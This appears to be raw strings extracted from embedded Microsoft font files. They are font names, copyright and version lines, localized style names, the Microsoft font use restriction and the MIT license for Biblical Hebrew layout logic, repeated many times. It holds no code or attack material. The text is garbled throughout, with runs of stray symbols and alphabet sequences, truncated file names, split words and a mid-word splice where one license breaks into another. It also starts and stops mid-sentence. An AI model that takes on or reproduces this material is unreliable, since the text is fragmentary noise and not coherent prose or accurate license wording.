DEALINGS IN THE SOFTWARE. https://learn.microsoft.com/en-us/typography/about Latn Grek Cyrl Armn Geor Geok Arab Hebr Lisu Semibold Segoe UI Segoe UI Semibold Regular SegoeUI-Semibold *SEGUISB.TTF *TIMESBD.TTF ()*+ %$"! en-us 2020 The Monotype Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 7.11 Times New Roman is a trademark of The Monotype Corporation. The Monotype Corporation Monotype Type Drawing Office - Stanley Morison, Victor Lardent 1932 Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Grek Latn Arab Hebr ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiona pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr vi-vn Times New Roman Times New Roman Negreta Times New Roman tu Times New Roman fed Times New Roman Fett Times New Roman Times New Roman Bold Times New Roman Negrita Times New Roman Lodia Times New Roman Lihavoitu Times New Roman Gras Times New Roman F Times New Roman Grassetto Times New Roman Halvfet Times New Roman Vet Times New Roman Pogrubiona Times New Roman Negrito Times New Roman Times New Roman Tu Times New Roman Krepko Times New Roman Fet Times New Roman Kal Times New Roman TimesNewRomanPS-BoldMT *TIMESBD.TTF *ARIAL.TTF ()*+,-./012 %$"! en-us 2025 The Monotype Corporation. All Rights Reserved. Hebrew OpenType LaTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Grek Latn Arab Hebr ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr vi-vn Arial ArialMT *ARIAL.TTF *SEGOEUIL.TTF _aDghFr 01+3 <;:976542/. en-us 2025 Microsoft Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 5.71 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/segoe-ui Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. https://learn.microsoft.com/en-us/typography/about Latn Grek Cyrl Armn Geor Geok Arab Hebr Lisu Light Segoe UI Segoe UI Light Regular SegoeUI-Light *SEGOEUIB.TTF _aDghFr 01+3 <;:976542/. en-us 2025 Microsoft Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 5.71 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/segoe-ui Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. https://learn.microsoft.com/en-us/typography/about Latn Grek Cyrl Armn Geor Geok Arab Hebr Lisu ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr vi-vn Segoe UI Segoe UI Negreta Segoe UI Tu Segoe UI Fed Segoe UI Fett Segoe UI Segoe UI Bold Segoe UI Negrita Segoe UI Lodia Segoe UI Lihavoitu Segoe UI Gras Segoe UI F Segoe UI Grassetto Segoe UI Halvfet Segoe UI Vet Segoe UI Pogrubiony Segoe UI Negrito Segoe UI Segoe UI Krepko Segoe UI Fet Segoe UI Kal Segoe UI SegoeUI-Bold *SEGOEUIB.TTF _aDghFr ./01234 ;<=>?@ABCDEFG Z[\]^_`a e579: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Display Segoe-UI-Variable-Display *SEGUIVAR.TTF *TIMESI.TTF !"#$ en-us 2020 The Monotype Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 7.11 Times New Roman is a trademark of The Monotype Corporation. The Monotype Corporation Monotype Type Drawing Office - Stanley Morison, Victor Lardent 1932 Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Grek Latn Hebr ca-es cursiva cs-cz kurz da-dk kursiv de-de Kursiv el-gr Italic es-es Cursiva es-es_tradnl es-mx eu-es Etzana fi-fi Kursivoitu fr-ca Italique fr-fr hu-hu it-it Corsivo nb-no nl-nl Cursief pl-pl kursywa pt-br lico pt-pt ru-ru sk-sk Kurz sl-si evno sv-se tr-tr talik vi-vn nghi Times New Roman Times New Roman cursiva Times New Roman kurz Times New Roman kursiv Times New Roman Kursiv Times New Roman Times New Roman Italic Times New Roman Cursiva Times New Roman Etzana Times New Roman Kursivoitu Times New Roman Italique Times New Roman D Times New Roman Corsivo Times New Roman Cursief Times New Roman kursywa Times New Roman It lico Times New Roman Times New Roman Kurz Times New Roman Po evno Times New Roman talik Times New Roman nghi TimesNewRomanPS-ItalicMT *TIMESBI.TTF !"#$ en-us 2020 The Monotype Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 7.11 Times New Roman is a trademark of The Monotype Corporation. The Monotype Corporation Monotype Type Drawing Office - Stanley Morison, Victor Lardent 1932 Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Grek Latn Hebr ca-es Negreta cursiva cs-cz kurz da-dk fed kursiv de-de Fett Kursiv el-gr Bold Italic es-es Negrita Cursiva es-es_tradnl es-mx eu-es Lodi etzana fi-fi Lihavoitu Kursivoi fr-ca Gras Italique fr-fr hu-hu it-it Grassetto Corsivo nb-no Halvfet Kursiv nl-nl Vet Cursief pl-pl Pogrubiona kursywa pt-br Negrito It lico pt-pt ru-ru sk-sk kurz sl-si Krepko po evno sv-se Fet Kursiv tr-tr talik vi-vn nghi Times New Roman Times New Roman Negreta cursiva Times New Roman tu kurz Times New Roman fed kursiv Times New Roman Fett Kursiv Times New Roman Times New Roman Bold Italic Times New Roman Negrita Cursiva Times New Roman Lodi etzana Times New Roman Lihavoitu Kursivoi Times New Roman Gras Italique Times New Roman F Times New Roman Grassetto Corsivo Times New Roman Halvfet Kursiv Times New Roman Vet Cursief Times New Roman Pogrubiona kursywa Times New Roman Negrito It lico Times New Roman Times New Roman Tu kurz Times New Roman Krepko po evno Times New Roman Fet Kursiv Times New Roman Kal talik Times New Roman nghi TimesNewRomanPS-BoldItalicMT *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Display Light Display Light Segoe UI Variable Display Segoe-UI-Variable-Display-Light *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Display Semibold Display Semibold Segoe UI Variable Display Segoe-UI-Variable-Display-Semibold *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Display Display Bold Segoe UI Variable Display Bold Segoe-UI-Variable-Display-Bold *CALIBRI.TTF 89$BD%r ,-./0123456 en-us 2025 Microsoft Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 6.27 Calibri is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://lucasfonts.com Calibri is a modern sans serif family with subtle roundings on stems and corners. It features real italics, small caps, and multiple numeral sets. Its proportions allow high impact in tightly set lines of big and small text alike. Calibri's many curves and the new rasteriser team up in bigger sizes to reveal a warm and soft character. https://learn.microsoft.com/en-us/typography/font-list/calibri Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Arab Armn Cyrl Geok Geor Grek Hebr Latn Regular Calibri *CALIBRI.TTF *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Text Semibold Text Semibold Segoe UI Variable Text Segoe-UI-Variable-Text-Semibold *SEGUIVAR.TT *YUGOTHR.TTC !"#$%& ./01234567 ;<=>?@ STUVWXYZ[\]^ _`abcdefgh ijklmnop qrstuvwxt z{|}~ ONMKHFCBA 9-,+* en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. ja-jp Copyright 2020 All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Regular Yu Gothic Yu Gothic Regular Regular YuGothic-Regular *YUGOTHR.TTC *MSGOTHIC.TTC 0121 89:;< FGHIJKLMNO.QC STUVW \]^_`a bcdefghie klm(op qrstud z{|}~ en-us 2017 data:RICOH Co.,Ltd. typeface:RYOBI IMAGIX CO. ja-jp 2017 data: typeface: Version 5.32 MS Gothic is a trademark of the Microsoft group of companies. Microsoft Corporation Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Hani Hira Hrkt Jpan Kana Cyrl Grek Latn Regular MS Gothic MS-Gothic *MSGOTHIC.TTC *MALGUN.TTF !"#$% {zyxwvutsrqponmlkjihgfedcba`_^]\[Z YXWVUTSRQPONMLKJIHGFEDCBA@?>= <;:9876543210 en-us 2022 Microsoft Corporation. All Rights Reserved. Version 6.69 ko-kr Malgun Gothic is a trademark of the Microsoft group of companies. Microsoft Corporation Kyoung-bae Lee; Daekwon Kim http://www.sandoll.co.kr Malgun Gothic is a Korean font developed by taking advantage of ClearType technology, and it provides excellent reading experience particularly onscreen. Its elements are created based on the typeface of Hunminjeongeum, and streamlined with modern form of characters as well as upright and well-regulated strokes. The font is very legible at small sizes with its moderate open counters, and its even inter-character spacing and visual center line maximize the readability. ClearType http://www.microsoft.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Hang Hani Kore Hira Jpan Kana Latn Hrkt Regular Malgun Gothic MalgunGothic *MALGUN.TTF *MSYH.TTC "#$%&'( 234567 {zyoxw jrbqI]po ]mlS NON?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| *SEGUISBI.TTF %&'()*$#"! en-us 2025 Microsoft Corporation. All Rights Reserved. Version 5.71 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/segoe-ui Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/about Latn Grek Cyrl Lisu Armn Geor Semibold Italic Segoe UI Segoe UI Semibold Italic Segoe UI Semibold Italic SegoeUI-SemiboldItalic *SEGUISBI.TTF *SEGOEUIZ.TTF %&'()*$#"! en-us 2025 Microsoft Corporation. All Rights Reserved. Version 5.71 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/segoe-ui Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/about Latn Grek Cyrl Lisu Armn Geor ca-es Negreta Cursiva cs-cz Kurz da-dk Fed Kursiv de-de Fett Kursiv el-gr Bold Italic es-es Negrita Cursiva es-es_tradnl es-mx eu-es Lodi Etzana fi-fi Lihavoitu Kursivoi fr-ca Gras Italique fr-fr hu-hu it-it Grassetto Corsivo nb-no Halvfet Kursiv nl-nl Vet Cursief pl-pl Pogrubiona Kursywa pt-br Negrito It lico pt-pt ru-ru sk-sk Kurz sl-si Krepko Po evno sv-se Fet Kursiv tr-tr talik vi-vn Nghi Segoe UI Segoe UI Negreta Cursiva Segoe UI Tu Kurz Segoe UI Fed Kursiv Segoe UI Fett Kursiv Segoe UI Segoe UI Bold Italic Segoe UI Negrita Cursiva Segoe UI Lodi Etzana Segoe UI Lihavoitu Kursivoi Segoe UI Gras Italique Segoe UI F Segoe UI Grassetto Corsivo Segoe UI Halvfet Kursiv Segoe UI Vet Cursief Segoe UI Pogrubiona Kursywa Segoe UI Negrito It lico Segoe UI Segoe UI Tu Kurz Segoe UI Krepko Po evno Segoe UI Fet Kursiv Segoe UI Kal talik Segoe UI Nghi SegoeUI-BoldItalic *SEGOEUIZ.TTF #$%&'()*+,-./ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| *SEGUIBL.TTF *SEGUIBL.TTF !"#$%& en-us 2025 Microsoft Corporation. All Rights Reserved. Version 5.71 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/segoe-ui Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/about Cyrl Grek Latn Black Segoe UI Segoe UI Black Regular SegoeUIBlack *SEGUIBLI.TTF !"#$%& en-us 2025 Microsoft Corporation. All Rights Reserved. Version 5.71 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/segoe-ui Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/about Cyrl Grek Latn Black Italic Segoe UI Segoe UI Black Italic Segoe UI Black Italic SegoeUIBlack-Italic *SEGUIBLI.TTF *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift SemiLight Bahnschrift-SemiLight *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift Light Bahnschrift-Light *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift SemiBold Bahnschrift-SemiBold *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift SemiCondensed Bahnschrift-SemiCondensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily 